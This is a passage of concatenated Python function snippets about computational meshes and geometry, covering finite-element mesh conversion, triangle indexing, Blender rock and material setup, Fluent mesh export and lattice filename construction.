Create layers\n layer0 = []\n for j in range(p+1):\n l0 = np.linspace(0,p*(p+1), p+1).astype(np.int64) + j#*(p+1)**2\n layer0.append(l0)\n # This layers values can be used in conjunction\n # with mesh.PlotMeshNumbering() to get aranger values for other ps\n layers2d = np.array(layer0)\n # print(layers2d)\n # mesh.PlotMeshNumbering()\n\n layers2d = layers2d[:,aranger]\n layers2d = layers2d[aranger,:]\n\n # Create connectivity from layers now\n indexer = []\n for j in range(p):\n for k in range(p):\n indexer.append(layers2d[j:j+2,k:k+2].ravel()[[0,2,3,1]])\n indexer = np.array(indexer)\n\n # Create the final mapp from high to linear mesh.\n # This is equivalent to p==2 for all a1, a2 ... arrays\n a_s = mapper.ravel()[indexer].reshape(indexer.shape)\n\n lmesh.elements = np.zeros((1,4), dtype=np.int64)\n for counter, a in enumerate(a_s):\n lmesh.elements = np.concatenate((\n lmesh.elements, elements[:,a]\n ))\n lmesh.elements = lmesh.elements[1:,:].astype(np.int64)\n\n\n elif self.element_type == \"hex\":\n\n if p == 2:\n\n a1 = [ 0, 8, 10, 9, 13, 17, 19, 18]\n a2 = [13, 17, 19, 18, 4, 22, 24, 23]\n a3 = [ 8, 1, 11, 10, 17, 14, 20, 19]\n a4 = [17, 14, 20, 19, 22, 5, 25, 24]\n a5 = [ 9, 10, 12, 3, 18, 19, 21, 16]\n a6 = [18, 19, 21, 16, 23, 24, 26, 7]\n a7 = [10, 11, 2, 12, 19, 20, 15, 21]\n a8 = [19, 20, 15, 21, 24, 25, 6, 26]\n\n lmesh.elements = np.concatenate(\n (elements[:,a1],\n elements[:,a2],\n elements[:,a3],\n elements[:,a4],\n elements[:,a5],\n elements[:,a6],\n elements[:,a7],\n elements[:,a8]\n ))\n\n else:\n\n # Create a dummy hex mesh with 1 element for indexing\n mesh = Mesh()\n mesh.Cube(n=1, element_type=\"hex\")\n mesh.GetHighOrderMesh(p=p, equally_spaced=True)\n # Create the mapping indices from the high order mesh\n mapper = []\n for i in range(mesh.elements.shape[1]):\n x = np.where(mesh.elements.ravel()==i)[0][0]\n mapper.append(x)\n mapper = np.array(mapper).ravel()\n\n # Create layers\n layer0 = []\n for j in range(p+1):\n l0 = np.linspace(0,p*(p+1), p+1).astype(np.int64) + j*(p+1)**2\n layer0.append(l0)\n\n layers = [layer0]\n for j in range(1, p+1):\n layers.append([layer+j for layer in layer0])\n # This layers values can be used in conjunction\n # with mesh.PlotMeshNumbering() to get aranger values for other ps\n layers = np.array(layers)\n\n layers = layers[:,:,aranger]\n layers = layers[:,aranger,:]\n layers = layers[aranger,:,:]\n\n\n # Create connectivity from layers now\n indexer = []\n for i in range(p):\n for j in range(p):\n for k in range(p):\n indexer.append(\n np.hstack((\n layers[i,j:j+2,k:k+2].ravel()[[0,2,3,1]],\n layers[i+1,j:j+2,k:k+2].ravel()[[0,2,3,1]]\n )))\n indexer = np.array(indexer)\n\n # Create the final mapp from high to linear mesh.\n # This is equivalent to p==2 for all a1, a2 ... arrays\n a_s = mapper.ravel()[indexer].reshape(indexer.shape)\n\n lmesh.elements = np.zeros((1,8), dtype=np.int64)\n for counter, a in enumerate(a_s):\n lmesh.elements = np.concatenate((\n lmesh.elements, elements[:,a]\n ))\n lmesh.elements = lmesh.elements[1:,:].astype(np.int64)\n\n\n elif self.element_type == \"tet\":\n\n from Florence.QuadratureRules.FeketePointsTet import FeketePointsTet\n from scipy.spatial import Delaunay\n\n # BUILD DELAUNAY TRIANGULATION OF REFERENCE ELEMENTS\n gpoints = FeketePointsTet(p-1)\n Tfunc = Delaunay(gpoints)\n simplex = Tfunc.simplices.copy()\n\n lmesh.elements = np.zeros((1,4))\n for i in range(Tfunc.nsimplex):\n lmesh.elements = np.concatenate((lmesh.elements,elements[:,simplex[i,:]]))\n lmesh.elements = lmesh.elements[1:,:]\n\n elif self.element_type == \"tri\":\n\n from Florence.QuadratureRules.FeketePointsTri import FeketePointsTri\n from scipy.spatial import Delaunay\n\n # BUILD DELAUNAY TRIANGULATION OF REFERENCE ELEMENTS\n gpoints = FeketePointsTri(p-1)\n Tfunc = Delaunay(gpoints)\n simplex = Tfunc.simplices.copy()\n\n lmesh.elements = np.zeros((1,3))\n for i in range(Tfunc.nsimplex):\n lmesh.elements = np.concatenate((lmesh.elements,elements[:,simplex[i,:]]))\n lmesh.elements = lmesh.elements[1:,:]\n\n else:\n raise NotImplementedError(\"Converting to linear mesh with {} elements not implemented yet\".format(self.element_type))\n\n\n lmesh.elements = np.ascontiguousarray(lmesh.elements,dtype=np.int64)\n lmesh.points = np.copy(self.points)\n lmesh.degree = 1\n lmesh.element_type = self.element_type\n lmesh.nelem = lmesh.elements.shape[0]\n lmesh.nnode = lmesh.points.shape[0]\n edim = self.InferElementalDimension()\n if edim == 3:\n lmesh.GetBoundaryFaces()\n lmesh.GetBoundaryEdges()\n elif edim == 2:\n lmesh.GetBoundaryEdges()\n\n return lmesh","def create(self):\n assert self.name != \"Settings\", \"Cannot create a new mesh region with this Name\"\n args = [\"NAME:\" + self.name, \"Enable:=\", self.Enable]\n if self.UserSpecifiedSettings:\n args += self.manualsettings\n else:\n args += self.autosettings\n self.meshmodule.AssignMeshRegion(args)\n return True","def defineRectangleLayout(self):\n\n #--- Define a 2-D mesh ---\n # Divide x- and y-axis\n self.xPoints = self.frange(0,self.Lx,self.h)\n self.yPoints = self.frange(0,self.Ly,self.h)\n\n # Position (xy-coordinate) of boundary points\n boundary_xyCoord = [(0,j) for j in self.yPoints] + [(self.Lx,j) for j in self.yPoints] + [(i,0) for i in self.xPoints[1:len(self.xPoints)-1]] + [(i,self.Ly) for i in self.xPoints[1:len(self.xPoints)-1]] \n\n # Define the dictionary containing boundary points\n for k in boundary_xyCoord:\n x = k[0]\n y = k[1]\n xLabel = self.xPoints.index(x)\n yLabel = self.yPoints.index(y)\n self.boundaryPoints[(xLabel,yLabel)] = meshPoint(type = 'boundary',x = x, y = y, xLabel = xLabel, yLabel = yLabel) \n \n # Position (xy-coordinate) of internal mesh points\n internal_xyCoord = [(i,j) for i in self.xPoints[1:len(self.xPoints)-1] for j in self.yPoints[1:len(self.yPoints)-1]] \n\n # Define the dictionary containing internal points\n for k in internal_xyCoord:\n x = k[0]\n y = k[1]\n xLabel = self.xPoints.index(x)\n yLabel = self.yPoints.index(y)\n self.internalPoints[(xLabel,yLabel)] = meshPoint(type = 'internal',x = x, y = y, xLabel = xLabel, yLabel = yLabel) \n\n # Now that we have assigned the labels we can define fE, fW, fN and fS\n self.fCalc()","def compute_mesh(nrow, ncol, nele):\n tri_index = np.zeros((nele, 3))\n for i in range(nrow-1):\n for j in range(NUM):\n if j == 0:\n tri_index[i*4*NUM+j*4, 0] = (i+1)+(2*j+1)*nrow\n tri_index[i*4*NUM+j*4, 1] = (i+1)\n tri_index[i*4*NUM+j*4, 2] = (i+2)\n\n tri_index[i*4*NUM+j*4+1, 0] = (i+1)+(2*j+1)*nrow\n tri_index[i*4*NUM+j*4+1, 1] = (i+2)\n tri_index[i*4*NUM+j*4+1, 2] = (i+2)+(2*j+1)*nrow\n else:\n tri_index[i*4*NUM+j*4, 0] = (i+1)+(2*j+1)*nrow\n tri_index[i*4*NUM+j*4, 1] = (i+1)+(2*j-1)*nrow\n tri_index[i*4*NUM+j*4, 2] = (i+2)+(2*j-1)*nrow\n\n tri_index[i*4*NUM+j*4+1, 0] = (i+1)+(2*j+1)*nrow\n tri_index[i*4*NUM+j*4+1, 1] = (i+2)+(2*j-1)*nrow\n tri_index[i*4*NUM+j*4+1, 2] = (i+2)+(2*j+1)*nrow\n \n tri_index[i*4*NUM+j*4+2, 0] = (i+1)+2*j*nrow\n tri_index[i*4*NUM+j*4+2, 1] = (i+1)+2*(j+1)*nrow\n tri_index[i*4*NUM+j*4+2, 2] = (i+2)+2*(j+1)*nrow\n\n tri_index[i*4*NUM+j*4+3, 0] = (i+1)+2*j*nrow\n tri_index[i*4*NUM+j*4+3, 1] = (i+2)+2*(j+1)*nrow\n tri_index[i*4*NUM+j*4+3, 2] = (i+2)+2*j*nrow\n return tri_index","def make_settings():\n settings = {}\n num_of_rocks = 1\n\n obj = json.load(open('assets/add_mesh_rocks.json'))\n presets = [obj[\"settings\"][\"default\"]] + obj[\"settings\"][\"preset\"]\n\n for preset in presets:\n title = preset[\"title\"]\n # SIZE\n size = preset[\"size\"]\n\n x, y, z = size[\"scale\"]\n if title == \"Default\":\n scale = uniform(float(x[\"lower\"]), float(x[\"upper\"]))\n scale_X = [scale, scale]\n scale_Y = [scale, scale]\n scale_Z = [scale, scale]\n else:\n scale_X = [float(x[\"lower\"]), float(x[\"upper\"])]\n scale_Y = [float(y[\"lower\"]), float(y[\"upper\"])]\n scale_Z = [float(z[\"lower\"]), float(z[\"upper\"])]\n\n x, y, z = size[\"skew\"]\n skew_X = float(x[\"value\"])\n skew_Y = float(y[\"value\"])\n skew_Z = float(z[\"value\"])\n\n scale_fac = ast.literal_eval(size[\"scale_fac\"])\n use_scale_dis = bool(size[\"use_scale_dis\"])\n\n # SHAPE\n shape = preset[\"shape\"]\n\n deform = float(shape[\"deform\"])\n rough = float(shape[\"rough\"])\n detail = float(shape[\"detail\"])\n display_detail = float(shape[\"display_detail\"])\n smooth_fac = float(shape[\"smooth_fac\"])\n smooth_it = float(shape[\"smooth_it\"])\n\n\n # MATERIAL\n material = preset[\"material\"]\n \n mat_enable = bool(material[\"mat_enable\"])\n mat_color = ast.literal_eval(material[\"mat_color\"])\n mat_bright = float(material[\"mat_bright\"])\n mat_rough = float(material[\"mat_rough\"])\n mat_spec = float(material[\"mat_spec\"])\n mat_hard = float(material[\"mat_hard\"])\n mat_use_trans = bool(material[\"mat_use_trans\"])\n mat_alpha = float(material[\"mat_alpha\"])\n mat_cloudy = float(material[\"mat_cloudy\"])\n mat_IOR = float(material[\"mat_IOR\"])\n mat_mossy = float(material[\"mat_mossy\"])\n\n # RANDOM\n random = preset[\"random\"]\n\n use_generate = bool(random[\"use_generate\"])\n use_random_seed = bool(random[\"use_random_seed\"])\n user_seed = float(random[\"user_seed\"])\n\n\n settings[title] = [\n context,\n scale_X,\n skew_X,\n scale_Y,\n skew_Y,\n scale_Z,\n skew_Z,\n scale_fac,\n detail,\n display_detail,\n deform,\n rough,\n smooth_fac,\n smooth_it,\n mat_enable,\n mat_color,\n mat_bright,\n mat_rough,\n mat_spec,\n mat_hard,\n mat_use_trans,\n mat_alpha,\n mat_cloudy,\n mat_IOR,\n mat_mossy,\n num_of_rocks,\n user_seed,\n False,\n use_random_seed\n ]\n\n return settings","def convert(fluentmesh, \n func=None, \n mesh_format='nek5000', # nek5000, semtex or fenics\n periodic_dx={}, curves = {}, bcs = False, # nek5000 and semtex\n temperature=False, passive_scalars=[], # nek5000 only\n cylindrical=1, NZ=1): # semtex only\n ofilename = fluentmesh[:-4]\n ifile = open(fluentmesh, \"r\")\n\n if not nodes:\n # Read all lines of fluent mesh\n #lines = ifile.readlines()\n #if len(lines) == 0:\n #raise IOError(\"Empty fluent mesh file\")\n \n #scan_fluent_mesh(lines)\n scan_fluent_mesh(ifile)\n\n dim = nodes.shape[0]\n create_cell_face_map(dim, mesh_format)\n create_periodic_face_map(periodic_dx)\n create_periodic_cell_face_map()\n create_boundary_section(bcs, temperature, passive_scalars, mesh_format)\n # Modify the entire mesh using the shape-function func\n if func:\n sz = nodes.shape\n for i in range(sz[1]):\n x, y = nodes[:, i]\n if 'x' in func:\n xnew = func['x'](x, y)\n if abs(xnew - x) > 1e-6:\n nodes[0, i] = xnew\n if 'y' in func:\n ynew = func['y'](x, y)\n if abs(ynew - y) > 1e-6:\n nodes[1, i] = ynew\n if mesh_format == 'nek5000':\n print 'Warning!! Consider using userdat/userdat2 instead!'\n\n if not mesh_format == 'fenics':\n read_curved_sides(curves)\n\n # Generate the mesh files for given mesh format\n if mesh_format == 'nek5000':\n write_nek5000_file(dim, ofilename, curves, temperature, passive_scalars)\n elif mesh_format == 'semtex':\n write_semtex_file(dim, ofilename, curves, cylindrical, NZ)\n if mesh_format == 'fenics':\n write_fenics_file(dim, ofilename)\n\n ifile.close()","def __init__(\n self,\n name: str,\n createStepName: str,\n surface: Region,\n interactionProperty: str,\n mechanicalConstraint: SymbolicConstant = KINEMATIC,\n contactControls: str = \"\",\n ):\n super().__init__()\n pass","def decorate_scene():\n make_polygon( (100,100),(120,140),(270,70) )\n make_polygon( (300,10), (300,550), (340,452),(380,300), (330,50))\n make_polygon( (200,450), (100,450), (100,500), (200,500) )\n make_polygon( (130,320), (150,300), (140,280) )\n return","def setup_contour_input():\n from bfieldtools.utils import load_example_mesh\n\n mesh = load_example_mesh(\"unit_disc\")\n\n r = np.linalg.norm(mesh.vertices, axis=1)\n scalars = (1 - r) ** 2\n scalars *= mesh.vertices[:, 0]\n\n return mesh, scalars","def _write_mesh_change(self, writer):\n bloc = \"\"\n grps = self._grp_names_for_mesh\n model = writer.get(Modelisation)\n if grps and model: \n lines = WC.Lines()\n cmd = \"MAIL=MODI_MAILLAGE(\"\n lines.add(cmd + \"reuse=MAIL,\")\n lines.init_idt = \" \" * len(cmd)\n lines.add(\"MAILLAGE=MAIL,\")\n opt = \"ORIE_PEAU_%sD=_F(GROUP_MA=%s,),\"\n lines.add(opt % (model.give_dim(), tuple(grps)))\n lines.add(\");\")\n bloc = lines.build_part()\n writer.subs(\"mesh_change_key\", bloc)","def AddDispersionMaterial(GeometryName,RGBData):\n\n r,g,b=RGBData\n onlyR = tuple([r,0,0,1])\n onlyG = tuple([0,g,0,1])\n onlyB = tuple([0,0,b,1])\n\n\n currentMaterial = bpy.data.materials.new(name='TypeA'+GeometryName)\n currentMaterial.use_nodes = True\n nodes = currentMaterial.node_tree.nodes\n\n math01 = nodes.new(\"ShaderNodeMath\")\n math01.operation = \"POWER\"\n\n glassBSDF01 = nodes.new(\"ShaderNodeBsdfGlass\")\n glassBSDF01.inputs[0].default_value = onlyR\n currentMaterial.node_tree.links.new(math01.outputs[0],glassBSDF01.inputs[1])\n\n glassBSDF02 = nodes.new(\"ShaderNodeBsdfGlass\")\n glassBSDF02.inputs[0].default_value = onlyG\n currentMaterial.node_tree.links.new(math01.outputs[0],glassBSDF02.inputs[1])\n\n glassBSDF03 = nodes.new(\"ShaderNodeBsdfGlass\")\n glassBSDF03.inputs[0].default_value = onlyB\n currentMaterial.node_tree.links.new(math01.outputs[0],glassBSDF03.inputs[1])\n\n math02 = nodes.new(\"ShaderNodeMath\")\n currentMaterial.node_tree.links.new(math02.outputs[0],glassBSDF02.inputs[2])\n\n math03 = nodes.new(\"ShaderNodeMath\")\n currentMaterial.node_tree.links.new(math02.outputs[0],math03.inputs[1])\n currentMaterial.node_tree.links.new(math03.outputs[0],glassBSDF01.inputs[2])\n\n addShader01 = nodes.new(\"ShaderNodeAddShader\")\n currentMaterial.node_tree.links.new(glassBSDF01.outputs[0],addShader01.inputs[0])\n currentMaterial.node_tree.links.new(glassBSDF02.outputs[0],addShader01.inputs[1])\n\n addShader02 = nodes.new(\"ShaderNodeAddShader\")\n currentMaterial.node_tree.links.new(addShader01.outputs[0],addShader02.inputs[0])\n currentMaterial.node_tree.links.new(glassBSDF03.outputs[0],addShader02.inputs[1])\n\n volumeAbs = nodes.new(\"ShaderNodeVolumeAbsorption\")\n\n materialOutput=nodes.get(\"Material Output\")\n currentMaterial.node_tree.links.new(addShader02.outputs[0],materialOutput.inputs[0])\n currentMaterial.node_tree.links.new(volumeAbs.outputs[0],materialOutput.inputs[1])\n\n bpy.data.objects[GeometryName].data.materials.append(currentMaterial)","def build_meshfn(lp):\n # Place values assoc with keys of lattice_params as their defaults if not specified\n LatticeTop = lp['LatticeTop']\n shape = lp['shape']\n rootdir = lp['rootdir']\n NH = lp['NH']\n NV = lp['NV']\n if isinstance(NH, float):\n raise RuntimeError('Why is NH a float?')\n\n if 'cutLstr' in lp:\n cutLstr = lp['cutLstr']\n else:\n cutLstr = ''\n\n if 'delta_lattice' in lp:\n delta_lattice = lp['delta_lattice']\n elif 'delta' in lp:\n delta_lattice = '{0:0.3f}'.format(lp['delta'] / np.pi).replace('.', 'p')\n else:\n delta_lattice = ''\n lp['delta_lattice'] = delta_lattice\n\n print '\\n\\n\\n in le: delta_lattice = ', lp['delta_lattice'], '\\n\\n\\n'\n # sys.exit()\n\n if 'phi_lattice' in lp:\n phi_lattice = lp['phi_lattice'].replace('.', 'p').replace('-', 'n')\n else:\n if 'phi' in lp:\n phi_lattice = '{0:0.3f}'.format(lp['phi'] / np.pi).replace('.', 'p').replace('-', 'n')\n else:\n phi_lattice = '0p000'\n\n if 'theta_lattice' in lp:\n theta_lattice = lp['theta_lattice']\n else:\n theta_lattice = ''\n if 'eta' in lp:\n eta = lp['eta']\n else:\n eta = ''\n if 'huID' in lp:\n huID = lp['huID']\n elif 'conf' in lp:\n huID = '{0:02d}'.format(int(lp['conf']))\n else:\n huID = '01'\n if 'zkagome' in lp:\n zkagome = lp['zkagome']\n else:\n zkagome = -1\n if 'z' in lp:\n z = str(lp['z'])\n else:\n z = -1\n if 'origin' in lp:\n print 'lp[origin] = ', lp['origin']\n print \"(np.abs(lp['origin']) > 1e-7) = \", (np.abs(lp['origin']) > 1e-7)\n if (np.abs(lp['origin']) > 1e-7).any():\n originstr = '_originX' + '{0:0.2f}'.format(lp['origin'][0]).replace('.', 'p') + \\\n 'Y' + '{0:0.2f}'.format(lp['origin'][1]).replace('.', 'p')\n else:\n originstr = ''\n else:\n originstr = ''\n\n if 'periodic_strip' not in lp:\n lp['periodic_strip'] = False\n\n print '\\n\\n\\noriginstr = ', originstr\n print 'Searching for ' + LatticeTop + ' lattice...'\n\n # make sure rootdir ends with /\n rootdir = dio.prepdir(rootdir)\n ########################################################################################\n ########################################################################################\n print 'LatticeTop =', LatticeTop\n if LatticeTop == 'square':\n if lp['periodicBC']:\n if lp['periodic_strip']:\n periodicstr = '_periodicstrip'\n else:\n periodicstr = '_periodicBC'\n else:\n periodicstr = ''\n\n if eta == 0. or eta == '':\n etastr = ''\n else:\n etastr = '_eta{0:.3f}'.format(eta).replace('.', 'p')\n\n if theta_lattice == 0. or theta_lattice == '':\n thetastr = ''\n else:\n thetastr = '_theta{0:.3f}'.format(theta_lattice).replace('.', 'p') + 'pi'\n\n etatheta_str = etastr + thetastr\n print '\\n\\n', etatheta_str\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + periodicstr + \\\n etatheta_str + '_' + '{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\n print 'searching for ', ffind\n elif LatticeTop in ['hexagonal', 'hexmeanfield']:\n print '... forming hexagonal meshfn...'\n print 'le: again, lp[periodic_strip] = ', lp['periodic_strip']\n if lp['periodicBC']:\n if lp['periodic_strip']:\n periodicstr = '_periodicstrip'\n else:\n periodicstr = '_periodicBC'\n else:\n periodicstr = ''\n\n if eta == 0. or eta == '':\n etastr = ''\n else:\n etastr = '_eta{0:.3f}'.format(eta).replace('.', 'p')\n\n if theta_lattice == 0. or theta_lattice == '':\n thetastr = ''\n else:\n thetastr = '_theta{0:.3f}'.format(theta_lattice).replace('.', 'p') + 'pi'\n\n delta_phi_str = '_delta' + delta_lattice.replace('.', 'p') + '_phi' + phi_lattice + etastr + thetastr\n print '\\n\\n', delta_phi_str\n print('NH = ', NH)\n print('NV = ', NV)\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + periodicstr + \\\n delta_phi_str + '_' + '{0:06d}'.format(int(NH)) + '_x_' + '{0:06d}'.format(int(NV)) + \\\n cutLstr + '_xy.txt'\n print 'searching for ', ffind\n elif LatticeTop == 'hexannulus':\n # correct NV if it equals NH --> this would never be possible, and so if NV isn't specified (ie N=NH=NV is\n # specified), then use alph to determine the thickness of the annulus\n if eta == 0. or eta == '':\n etastr = ''\n else:\n etastr = '_eta{0:.3f}'.format(eta).replace('.', 'p')\n\n delta_phi_str = '_delta' + delta_lattice.replace('.', 'p') + '_phi' + phi_lattice + etastr\n alphstr = '_alph{0:0.2f}'.format(lp['alph']).replace('.', 'p')\n print '\\n\\n', delta_phi_str\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_circle' + \\\n delta_phi_str + alphstr + '_' + '{0:06d}'.format(NH) + '_x_' + '*' + cutLstr + '_xy.txt'\n print 'searching for ', ffind\n elif 'selregion' in LatticeTop:\n # Assume there is only one instance of this selregion LatticeTop with a given NP size\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '*NP{0:06d}'.format(lp['NP_load']) + '_xy.txt'\n elif LatticeTop == 'triangular':\n if eta == 0. or eta == '':\n etastr = ''\n else:\n etastr = '_eta{0:.3f}'.format(eta)\n\n if theta_lattice == 0. or theta_lattice == '':\n thetastr = ''\n else:\n thetastr = '_theta{0:.3f}'.format(theta_lattice).replace('.', 'p') + 'pi'\n\n extrastr = etastr + thetastr\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + extrastr + '_' + \\\n '{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\n print 'searching for ', ffind\n elif LatticeTop == 'jammed' or LatticeTop == 'isostatic':\n if lp['periodicBC']:\n if LatticeTop == 'jammed':\n periodicstr = '_periodicBC'\n else:\n periodicstr = '_periodic'\n else:\n periodicstr = ''\n if lp['source'] == 'ulrich':\n hustr = '_homog_z' + '{0:0.03f}'.format(lp['target_z']) + '_conf' + huID + '_zmethod' + lp['cutz_method']\n elif lp['source'] == 'hexner':\n if lp['NP_load'] > 0:\n hustr = periodicstr + '_hexner' + '_z*_conf' + huID + '_zmethod' + lp['cutz_method']\n else:\n print '---> here <----'\n if float(z) > 0:\n zstr = '{0:0.03f}'.format(float(z))\n else:\n zstr = '*'\n\n hustr = '_hexner' + periodicstr + '_z' + zstr + '_conf' + huID + '_zmethod' + lp['cutz_method']\n if lp['NP_load'] > 0:\n print '{0:06d}'.format(lp['NP_load'])\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + hustr + '_NP' + \\\n '{0:06d}'.format(lp['NP_load']) + '_xy.txt'\n else:\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + hustr + '_' + \\\n '{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\n print 'searching for ', ffind\n elif LatticeTop == 'deformed_kagome' or LatticeTop == 'deformed_martini':\n if lp['periodicBC']:\n if lp['periodic_strip']:\n periodicstr = '_periodicstrip'\n else:\n periodicstr = '_periodic'\n else:\n periodicstr = ''\n if np.abs(lp['theta']) > 1e-9:\n thetastr = '_theta{0:0.3f}'.format(np.round(lp['theta'] * 1000) * 0.001).replace('.', 'p')\n else:\n thetastr = ''\n\n paramstr = '_x1_' + '{0:0.4f}'.format(lp['x1']).replace('.', 'p').replace('-', 'n') + \\\n '_x2_' + '{0:0.4f}'.format(lp['x2']).replace('.', 'p').replace('-', 'n') + \\\n '_x3_' + '{0:0.4f}'.format(lp['x3']).replace('.', 'p').replace('-', 'n') + \\\n '_z_' + '{0:0.4f}'.format(lp['z']).replace('.', 'p').replace('-', 'n')\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + periodicstr +\\\n thetastr + paramstr + '_{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\n print 'searching for ', ffind\n elif LatticeTop == 'twisted_kagome':\n paramstr = '_alph_' + '{0:0.4f}'.format(lp['alph'])\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + paramstr + '_{0:06d}'.format(\n NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\n print 'searching for ', ffind\n elif 'hyperuniform' in LatticeTop:\n # hyperuniform ID string\n hustr = '_d' + huID + '_z{0:0.3f}'.format(lp['target_z']).replace('.', 'p').replace('-', 'n')\n if lp['periodicBC']:\n if lp['periodic_strip']:\n periodicstr = '_periodicstrip'\n else:\n periodicstr = '_periodic'\n else:\n periodicstr = ''\n\n if lp['NP_load'] > 0:\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + periodicstr + hustr + \\\n originstr + '_NP' + '{0:06d}'.format(lp['NP_load']) + cutLstr + '_xy.txt'\n else:\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + periodicstr + hustr + '_' + \\\n '{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\n print 'searching for ', ffind\n elif LatticeTop in ['hucentroid', 'huvoronoi']:\n # hyperuniform ID string\n hustr = '_d' + huID\n if lp['periodicBC']:\n if lp['periodic_strip']:\n periodicstr = '_periodicstrip'\n stripnhnv = '_NH{0:06d}'.format(lp['NH']) + '_NV{0:06d}'.format(lp['NV'])\n else:\n periodicstr = '_periodic'\n stripnhnv = ''\n else:\n periodicstr = ''\n if lp['NP_load'] > 0:\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + periodicstr + hustr + \\\n originstr + stripnhnv + '_NP' + '{0:06d}'.format(lp['NP_load']) + cutLstr + '_xy.txt'\n else:\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + periodicstr + hustr + \\\n originstr + '_' + '{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\n print 'searching for ', ffind\n elif LatticeTop in ['kagome_hucent', 'kagome_huvor']:\n # hyperuniform ID string\n hustr = '_d' + huID\n if lp['NP_load'] > 0:\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + '_periodic' + hustr \\\n + '_NP{0:06d}'.format(lp['NP_load']) + cutLstr + '_xy.txt'\n else:\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + hustr + \\\n '_{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\n print 'searching for ', ffind\n # elif 'isostatic' in LatticeTop :\n # # hyperuniform ID string --> isostatic ID string\n # hustr = '_homog_zindex001'+'_conf'+huID\n # ffind = rootdir+'networks/'+LatticeTop+'/'+LatticeTop+'_'+shape+hustr+'_'+'{0:06d}'.format(NH)+'_x_'+\n # '{0:06d}'.format(NV)+cutLstr+'_xy.txt'\n # print 'searching for ', ffind\n elif LatticeTop in ['iscentroid', 'isvoronoi']:\n # isostatic ID string\n if lp['NP_load'] > 0:\n hustr = '_hexner_size' + str(lp['NP_load']) + '_conf' + huID\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + '_periodic' + hustr + \\\n '_NP' + '{0:06d}'.format(lp['NP_load']) + cutLstr + '_xy.txt'\n else:\n if lp['source'] == 'ulrich':\n hustr = '_homog_zindex001' + '_conf' + huID\n elif lp['source'] == 'hexner':\n if NH > 10 or NV > 10:\n hustr = '_hexner_size8192_conf' + huID\n else:\n hustr = '_hexner_size0512_conf' + huID\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + hustr + '_' + '{0:06d}'.format(\n NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\n print 'searching for ', ffind\n elif LatticeTop in ['kagome_isocent', 'kagome_isovor']:\n # isostatic ID string\n if lp['source'] == 'ulrich':\n hustr = '_ulrich_homog_zindex001' + '_conf' + huID\n elif lp['source'] == 'hexner':\n if lp['periodicBC'] and lp['NP_load'] > 0:\n hustr = '_hexner_size' + str(lp['NP_load']) + '_conf' + huID\n elif NH > 13 or NV > 13:\n hustr = '_hexner_size8192_conf' + huID\n else:\n hustr = '_hexner_size0512_conf' + huID\n if lp['periodicBC'] and lp['NP_load'] > 0:\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + '_periodic' + hustr + \\\n '_NP' + '{0:06d}'.format(lp['NP_load']) + cutLstr + '_xy.txt'\n else:\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + hustr + \\\n '_' + '{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\n print 'searching for ', ffind\n elif LatticeTop in ['iscentroid_annulus', 'kagome_iscent_annulus']:\n # hyperuniform ID string\n lp['shape'] = 'annulus'\n shape = lp['shape']\n hustr = '_d' + huID\n if lp['periodicBC'] or lp['periodic_strip']:\n raise RuntimeError('Network is labeled as periodic but is also an annulus.')\n\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + hustr + \\\n '_alph' + sf.float2pstr(lp['alph']) + \\\n originstr + '_' + '{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\n print 'searching for ', ffind\n elif LatticeTop in ['hucentroid_annulus', 'kagome_hucent_annulus']:\n # hyperuniform ID string\n lp['shape'] = 'annulus'\n shape = lp['shape']\n hustr = '_d' + huID\n if lp['periodicBC'] or lp['periodic_strip']:\n raise RuntimeError('Network is labeled as periodic but is also an annulus.')\n\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + hustr + \\\n '_alph' + sf.float2pstr(lp['alph']) + \\\n originstr + '_' + '{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\n print 'searching for ', ffind\n elif LatticeTop == 'linear':\n etastr = '{0:.3f}'.format(lp['eta']).replace('.', 'p')\n thetastr = '{0:.3f}'.format(lp['theta']).replace('.', 'p')\n if lp['periodicBC']:\n periodicstr = '_periodic'\n else:\n periodicstr = ''\n exten = periodicstr + '_line_theta' + thetastr + 'pi_eta' + etastr\n ffind = 